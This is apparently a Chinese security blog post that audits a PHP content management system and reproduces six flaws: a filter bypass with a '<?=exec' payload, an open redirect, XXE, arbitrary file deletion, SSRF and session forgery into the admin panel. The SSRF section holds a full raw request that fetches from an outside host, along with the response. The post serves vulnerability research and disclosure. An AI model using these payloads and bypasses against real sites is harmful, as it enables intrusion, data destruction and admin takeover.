pony686
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

环境搭建:
进入安装页面。
然后输入数据库用户名和密码,接着进行下一步。
创建成功之后,成功登录。
代码审计:
1.命令执行漏洞:
进入更多功能处
然后使用burpsuite进行抓包。
抓包之后,通过路由找到对应代码。
这里需要传入三个参数,而最后的content则是我们需要填写的内容,在代码中存在过滤
发现对content的内容进行了限制。
主要的目的是不让传带php标签的内容,大体规则如下。
1、内容中不能有 <?php
2、内容中不能同时有 <? 和 ?>
3、内容中不能有 {eyou:phpxxx
4、内容中不能有 {php xxx
这里我们可以通过 <?= 的形式进行绕过
if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content)) || preg_match('#\{eyou\:php([^\}]*)\}#i', $content) || preg_match('#\{php([^\}]*)\}#i', $content)) { return "模板里不允许有php语法,为了安全考虑,请通过FTP工具进行编辑上传。";
漏洞复现:
在代码底部插入payload:<?=exec('whoami');
然后访问这个html文件。
发现在文件底部执行了whoami命令。
2.URL跳转漏洞
在代码中存在一个可以传入的 referurl 参数,该参数通过input()函数的
过滤后,传入到了 redirect() 函数中,然后我们跟进该函数:
通过这里的注释也可以发现这里是用于URL重定向的
漏洞复现:
进入user目录下,发现所有的功能点都在前台登录后,然后我们登录普通用户再进行退出。
这里我们将重定向的地址设为baidu
成功跳到了百度页面。
3.XXE漏洞
全局搜索 simplexml_ load_ String() 函数,
在 application\home\controller\Index.php 中的 wechat_return() 函数中发现存在危险函数,可以看到这里的代码会对 $InputXml 参数进行解析,那么我们向上去看。
这里的 $InputXml 参数是通过 php://input 传入,而在代码的96行、98行存在限制条件,我们这里不
能使代码走到99行或者102行,否则将我们执行下面的代码,也就无法造成xxe。那么我们需要这里的94
行不为空且这里的 $pay_info['appid'] 字段不为空且 $pay_info['appid'] 的值在payload中就可搜索该appid时,在前端文件中发现了该处功能点是用于设置微信支付的
然后去找对应功能点
然后测试该功能点,然后进行抓包。
在这里只要appid不为空,代码就会继续向下执行,进而执行
simplexml_ load_ String() 函数,而且在上面的代码中php://input传入的内容也没有进行任何的过
滤,可以构造xxe payload进行攻击尝试。
漏洞复现:
首先我们去构造路由m=home,c=Index,a=wechat_return,然后通过post传入xml payload即可.
这里设置了 $pay_info['appid'] 的值为1,所以在下面我们将1带入。
接着dnslog收到回显,成功验证漏洞。
4.任意文件删除
全局搜索 unlink() 函数,发现在 del_local() 这个函数中使用了 unlink() 函数进行文件删除,但是代码的前三行是存在一定的过滤的,但这里却不能删除.php文件。
具体大家可以看代码656行,在代码653行存在一定的判断条件,如何删除的文件中没有phar协议且必须要uploads路径,这里可以进行绕过。
漏洞复现:
通过上面的的路由分析我们去构造该路由m=user,c=Uploadify,a=del_local,然后传入我们的参数
filenames .
我们创建一个1.txt的测试文件
成功删除该文件。
5.ssrf漏洞
全局搜索get_headers{这个函数。
定位代码为/application/user/controller/Uploadify.php
使用 $fieldName 参数 => saveRemote($config,[源参数的值]) 调用 saveRemote() 函数然后 saveRemote 私有函数会调用 get_headers() 函数来获取 http 主机的 header get_headers() 函数获取服务器在响应 HTTP 请求时发送的所有标头
漏洞复现
构造payload。
<font face="Calibri">###Request<br> POST /index.php?m=user&c=Uploadify&a=index&action=catchimage HTTP/1.1</font><br> <font face="Calibri">Host: 172.16.0.12:3333</font><br> <font face="Calibri">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0</font><br> <font face="Calibri">Accept: application/json, text/javascript, */*; q=0.01</font><br> <font face="Calibri">Accept-Language: en-US,en;q=0.5</font><br> <font face="Calibri">Accept-Encoding: gzip, deflate</font><br> <font face="Calibri">X-Requested-With: XMLHttpRequest</font><br> <font face="Calibri">Content-Type: multipart/form-data; boundary=---------------------------182578234523129615573520929892</font><br> <font face="Calibri">Content-Length: 276</font><br> <font face="Calibri">Origin: http://172.16.0.12:3333</font><br> <font face="Calibri">Connection: close</font><br> <font face="Calibri">Referer: http://172.16.0.12:3333/index.php?m=user&c=Users&a=info</font><br> <font face="Calibri">Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn; workspaceParam=welcome%7CIndex; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; PHPSESSID=ptad0avmrpqg14oj4jh01a3hpm; users_id=2</font><br> <br> <font face="Calibri">-----------------------------182578234523129615573520929892</font><br> <font face="Calibri">Content-Disposition: form-data; name="source[]"</font><br> <font face="Calibri">Content-Type: image/png</font><br> <br> <font face="Calibri">http://hptcybersec.com/ssrf_PoC.jpg</font><br> <font face="Calibri">-----------------------------182578234523129615573520929892--</font><br> <br> <br> <font face="Calibri">### Response:</font><br> <font face="Calibri">HTTP/1.1 200 OK</font><br> <font face="Calibri">Date: Fri, 20 Aug 2021 17:25:37 GMT</font><br> <font face="Calibri">Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29</font><br> <font face="Calibri">X-Powered-By: PHP/7.3.29</font><br> <font face="Calibri">Expires: Thu, 19 Nov 1981 08:52:00 GMT</font><br> <font face="Calibri">Cache-Control: private</font><br> <font face="Calibri">Pragma: no-cache</font><br> <font face="Calibri">Set-Cookie: users_id=1; path=/</font><br> <font face="Calibri">Content-Length: 576</font><br> <font face="Calibri">Connection: close</font><br> <font face="Calibri">Content-Type: text/html; charset=utf-8</font><br> <br> <font face="Calibri">{"state":"SUCCESS","list":[{"state":"SUCCESS","url":"/uploads/user/1/ueditor/20210821/611fe591da266.png","size":24041,"title":"611fe591da266.png","original":"123.jpg","source":"http://hptcybersec.com/123.jpg"}]}</font><br> <br> <font face="Calibri">### Accesslog on hptcybersec.com</font><br> <font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Accepted</font><br> <font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 [404]: (null) /ssrf_PoC.jpg - No such file or directory</font><br> <font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Closing```</font><br> <br> <br> <br> <font face="Calibri">Impact: allow remote attackers to information detection,internal network server attack.</font><br> <font face="宋体">影响:允许远程攻击者进行信息检测、内网服务器攻击。</font>
然后使用burpsuite进行复现。
6.session泄露
首先前台设置一个管理员的session,然后在后台远程插件下载文件包含getshell。
定位源代码为application/api/controller/Ajax.php:219
get_token函数是可以前台随意调用的,另外形参中的$name变量也是通过http传递进来的。跟进token函数,如下图所示。
在application/admin/controller/Base.php:61
这里涉及到了两个session,一个admin_login_expire,一个admin_id。
admin_id (该session有就即可,不会验证其值)
admin_login_expire (该session会做减法的校验,需要满足一定条件)设置完这两个session后,我们继续看到if条件判断里还有一个check_priv函数,跟进查看:
漏洞复现:
这里就很简单了,继续设置一个admin_info.role_id。满足比较小于0即可。
设置完三个session后,就可以进入后台。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
